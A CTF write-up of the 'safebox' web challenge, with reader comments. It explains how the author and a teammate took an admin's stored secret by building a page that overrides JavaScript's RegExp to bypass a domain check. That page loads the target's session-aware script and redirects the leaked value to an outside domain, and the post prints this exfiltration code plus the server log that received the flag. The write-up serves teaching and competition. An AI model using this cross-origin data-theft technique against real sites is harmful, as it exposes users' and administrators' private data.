Description
We have developed a secure system that will allow you to store any secret on the cloud and protect it from prying eyes. We are the only SNOWDEN(R) approved service in the world!
You can reach it at http://challs.ctf.site:10000/safebox/
Resolution
This challenge was really great, I had a lot of fun finding the flaw and (almost) execute it. So, let’s explain this challenge.
By loading the index page, we’re prompted with a login/register page. I registered with an fake account, in order to go to the authenticated part of the website.
Once connected, we are in front of a “super secured and cloud protected textarea” which allows us to send & save strings.
Another interesting function is the “Share links” that we can send and which are then reviewed by an admin.
OK, now that we checked all functionalities, we have to study how they could work. By looking at the source code, we could see an interesting link, at the end of the page :
<script src=/safebox/file.js></script>
Hmmm, it seems useful to check this file, no ? Here is the source code :
function getCookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for(var i=0; i&amp;amp;amp;amp;lt;ca.length; i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1); if (c.indexOf(name) == 0) return c.substring(name.length,c.length); } return ""; } function setCookie(cname, cvalue, exdays) { var d = new Date(); d.setTime(d.getTime() + (exdays*24*60*60*1000)); var expires = "expires="+d.toUTCString(); document.cookie = cname + "=" + cvalue + "; " + expires; } function isSubDomain(c) { var d = document.domain; var r = new RegExp(c+"$").test(d); return r; } function saveSecret() { var s = document.getElementById('secretbox').value; setCookie('secret', encrypt(s),3); } function decrypt(data) { if (data=="") return ""; return window.atob(data); } function encrypt(data) { return window.btoa(data); } function checkDomain(c) { var d = document.domain; var r = false; if(d == c) { r = true; } else { r = isSubDomain(c); } return r; } if(checkDomain("challs.ctf.site")) { document.getElementById('secretbox').value = decrypt('YWFh'); } else { console.log("error"); }
There are 5 functions : getCookie, setCookie, decrypt, encrypt, and checkDomain. As function names are pretty understandable, I will not explain them. Therefore, we can easily see that the decrypt function is just a base64 decode of the data we sent earlier, “YWFh” is the base64 for my “aaa” test. What does this means ? We’ve got two options :
- we can write files on the server
- the Apache handler can send .js files to PHP, which return the file written on the fly
Actually, it can’t be the first option, as the filename is the same for everyone. We can easily check that the second option is the good one : loading /safebox/index.js works as well as loading /safebox/index.php. It means that file.js is session aware, and every users have a different string in the decrypt function.
From this, I tried to find many vulnerabilities. The one I liked the best (but which has been abandoned quickly) is an LFI in this decrypt function. The idea was to find a way to include a server file on the textarea, and then to get the PHP source code via the function.
As this idea wasn’t the good one, I tried to find something else. I saw that there wasn’t any token when we sent a string to the server. Maybe a CSRF with an XSS ? Nop again. Actually, there were two options for an XSS : find a way to get out of the getElementById($id).value (which was automatically escaped by browsers) or find a bug in the PHP base64_encode function to get a quote in order to end the decrypt(”) (which seems pretty impossible, because hey, how can you fail a function like that !?).
I was stuck. No server-side flaw, no client-side flaw. Just nothing. I tried to forge cookie named “secret” (check the setCookie JS function), send some weird characters, use GPC flaws… Nothing at all.
But there was a part of the website I didn’t checked : the “Share link” functionality. Send javascript: links? Forbidden. Send file:// links? Forbidden. Send php-filter:// links? Forbidden. Again, I was stuck. Only classic links (http://websi.te) were allowed and really loaded by the admin (I checked by sending a link and watching access logs)
After a night of sleep, I got an idea. If the file.js file is session aware. Why just not try to ask the admin to send it ?
My first idea was to create a webpage which :
- load the file.js via ajax
- get the content of the file
- send it back to us
function ajax() { //ajax function blablabla } var ret = ajax("file.js"); window.location = "mydomai.in?param="+ret;
As there is a cross domain security, it wasn’t easy to load the file via ajax. I tried to load http://localhost:10000/safebox/file.js, http://challs.ctf.site:10000/safebox/file.js, and others, but nothing worked. Moreover there was a check on the domain name allowing only challs.ctf.site, by using a regex (keep that in mind for later)
As Ajax didn’t worked I also tried to load it simply viaand to get the value of the “blabla” element. Didn’t worked neither.
But I wasn’t short on ideas : why not trying to overwrite a function? The idea was to write a function checkDomain(domain) and to see if -as I already defined it- the real function created in the file.js wasn’t definable. After some tests, I was angry, because javascript redefine on the fly the previously created functions. I wasn’t able to modify the behaviour of the function :/
As a team, we share our findings with other people, I share my findings with winw, who also likes web hacking challenges. And then he got an idea : as functions are overwritable, and as core functions are by design created BEFORE our functions, why not trying to redefine a core function ? That’s what he did (I would have liked to test it too, but unfortunately I had no access to our testing server, as I was in a work training :/) Just check out the code.
</pre> <script type="text/javascript"> RegExp = function() { return {'test' : function(){ return true; }} } </script> <input type="text" id="secretbox" value="nop" /> <script id="bla" src="http://challs.ctf.site:10000/safebox/file.js" type="text/javascript" onload="document.location.href='http://doma.in/?s='+document.getElementById('secretbox').value;"></script>
So, the goal here is to modify the behaviour of the script which checks that the domain is really challs.site.ctf. If yes, secretbox textarea is filled with the decrypted data. As winw redefined the RegExp class to always return true. our checkbox has been filled with the admin decrypted content, and then sent to our web server via the document.location.href. The only thing was to check the logs :
52.20.148.242 - - [18/Sep/2015:14:55:03 +0200] "GET /?s=EKO%7Bclient_side_security_for_the_lulz%7D HTTP/1.1" 200 6 "http://doma.in/c.html" "NULL Browser - PhantomJS"
What what what!! Is it the flag ? Yep 🙂 Here it is, finally!
Flag is EKO{client_side_security_for_the_lulz}
As I said at the beginning of the post, this chall was really great and fun. It was even funnier to finish it with winw 🙂 Thanks buddy for finding the very last part (but just to be clear, I gave you almost everything you just found the regex trick, agreed ? :p)
Enjoy
The lsd
Glad that you liked my challenge, nice to see you guys suffered a little with it 😀
Hope to see on the final CTF too!
We like to suffer 🙂
If there is as good challenges as this one, maybe we’ll try the final CTF 😉